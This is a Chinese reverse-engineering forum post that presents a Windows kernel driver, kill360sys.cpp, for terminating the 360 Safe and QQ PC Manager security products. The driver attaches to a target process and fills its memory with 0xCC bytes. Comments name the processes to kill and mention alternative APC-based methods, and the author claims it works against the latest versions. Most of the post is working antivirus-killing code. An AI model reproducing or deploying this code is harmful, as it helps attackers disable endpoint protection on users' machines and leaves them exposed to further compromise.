看了秒杀360和QQ管家(等)的驱动代码一文,有点疑惑:
原文:http://bbs.pediy.com/showthread.php?t=148834
NTSTATUS PsLookupProcessByProcessId(__in HANDLE ProcessId,__out PEPROCESS *Process);
LZ声明的是第一入参是HANDLE 结构
NTSTATUS KillProcessByPID(HANDLE hProcess)
为何KillProcessByPID(XXX); //填写360Safe.exe的PID。
status=PsLookupProcessByProcessId(hProcess,&m_process); //得到指定进程ID的进程环境块
这里入参是PID~~~PID不是ULONG型的么
对LZ代码进行了改良如下:
//////////////////////////////////////////////////
// kill360sys.cpp文件
extern "C"
{
//#include<ntddk.h>
//#include<ntdef.h>
//#include<ntstrsafe.h>
#include "kprocess.h"
}
/*
typedef struct _KAPC_STATE
{
LIST_ENTRY ApcListHead[MaximumMode];
struct _KPROCESS *Process;
BOOLEAN KernelApcInProgress;
BOOLEAN KernelApcPending;
BOOLEAN UserApcPending;
} KAPC_STATE, *PKAPC_STATE, *PRKAPC_STATE;
VOID KeStackAttachProcess(__inout PKPROCESS Process,__out PKAPC_STATE ApcState);
VOID KeUnstackDetachProcess(__in PKAPC_STATE ApcState);
NTSTATUS PsLookupProcessByProcessId(__in HANDLE ProcessId,__out PEPROCESS *Process);
*/
typedef VOID (*EXP_KeStackAttachProcess)(__inout PKPROCESS Process,__out PKAPC_STATE ApcState);
typedef VOID (*EXP_KeUnstackDetachProcess)(__in PKAPC_STATE ApcState);
typedef NTSTATUS (*EXP_PsLookupProcessByProcessId)(__in HANDLE ProcessId,__out PEPROCESS *Process);
EXP_KeStackAttachProcess KeStackAttachProcess;
EXP_KeUnstackDetachProcess KeUnstackDetachProcess;
EXP_PsLookupProcessByProcessId PsLookupProcessByProcessId;
NTSTATUS KillProcessByPID(HANDLE hProcess)
{//通过进程ID号,来结束进程
PEPROCESS m_process;
NTSTATUS status = STATUS_SUCCESS;
KAPC_STATE m_kapc_state;
ULONG m_index=0;
PVOID m_base_address=NULL;
UNICODE_STRING funName[3]={0};
RtlInitUnicodeString(&funName[0],L"KeStackAttachProcess");
RtlInitUnicodeString(&funName[1],L"KeUnstackDetachProcess");
RtlInitUnicodeString(&funName[2],L"PsLookupProcessByProcessId");
GetFunctionAdrerss(&funName[0],(ULONG*)KeStackAttachProcess);
GetFunctionAdrerss(&funName[1],(ULONG*)KeUnstackDetachProcess);
GetFunctionAdrerss(&funName[2],(ULONG*)PsLookupProcessByProcessId);
//分配一块只读类型的,大小为0x1000的内存块出来//返回值为分配内存的指针
m_base_address=ExAllocatePoolWithTag(NonPagedPool,0x1000,'Read');
if(m_base_address==NULL)
{
return STATUS_UNSUCCESSFUL;//如果分配内存失败
}
memset(m_base_address,0xcc,0x1000); //初始化相关内存,未初始化的变量会被系统赋初值为0xCC
status=PsLookupProcessByProcessId(hProcess,&m_process); //得到指定进程ID的进程环境块
if(!NT_SUCCESS(status))
{
return status;//返回失败
}
KeStackAttachProcess ((PKPROCESS)m_process,&m_kapc_state); //附加当前线程到目标进程空间内
for(m_index=0;m_index<0x80000000;m_index+=0x1000)//循环遍历
{
if(MmIsAddressValid((PVOID)(m_index)))//如果指定内存大小空间能读能写的话
{
__try
{ //复制m_base_address内存空间内容到m_index大小的空间
RtlCopyMemory((PVOID)(m_index),m_base_address,0x1000);
}
__except(1)
{
continue;
}
}
else
{
if(m_index>0x1000000)
{
break;
}
}
}
KeUnstackDetachProcess(&m_kapc_state);//解除附加
return status;
}
VOID DriverUnload(PDRIVER_OBJECT driver)
{
DbgPrint("Unload Driver Ok...!");
}
// 驱动程序加载时调用DriverEntry例程
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObj, PUNICODE_STRING pRegistryString)
{
pDriverObj->DriverUnload=DriverUnload;
HANDLE test=NULL;
KillProcessByPID(test); //填写360Safe.exe的PID。
KillProcessByPID(test); //填写ZhuDongFangYu.exe的PID。
//注释:结束360Safe.exe而不结束ZhuDongFangYu.exe,360Safe.exe会死灰复燃。
//ZhuDongFangYu.exe和360Safe.exe都可以用插APC的方法结束(360Safe.exe有点问题)。
//有一种办法,不hook,可以被插APC的办法也杀不掉,就是把线程的链表全部填写为自身的地址。
//QQ 电脑管家的用插APC的办法没有成功,可能用结束线程的函数不够底层。
//要结束QQ管家需要填写4个进程。
//去年年初,不用驱动就能干掉QQ管家,告诉QQ的相关人士,这个办法失灵了。
//今天公布这个办法,是为了推动祖国的安全事业的前进。
//这个办法大多数人都知道,但没有见代码,所以分享。
return STATUS_SUCCESS;
}
测试了最新360和管家,都可以成功结束
详细代码见附件
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)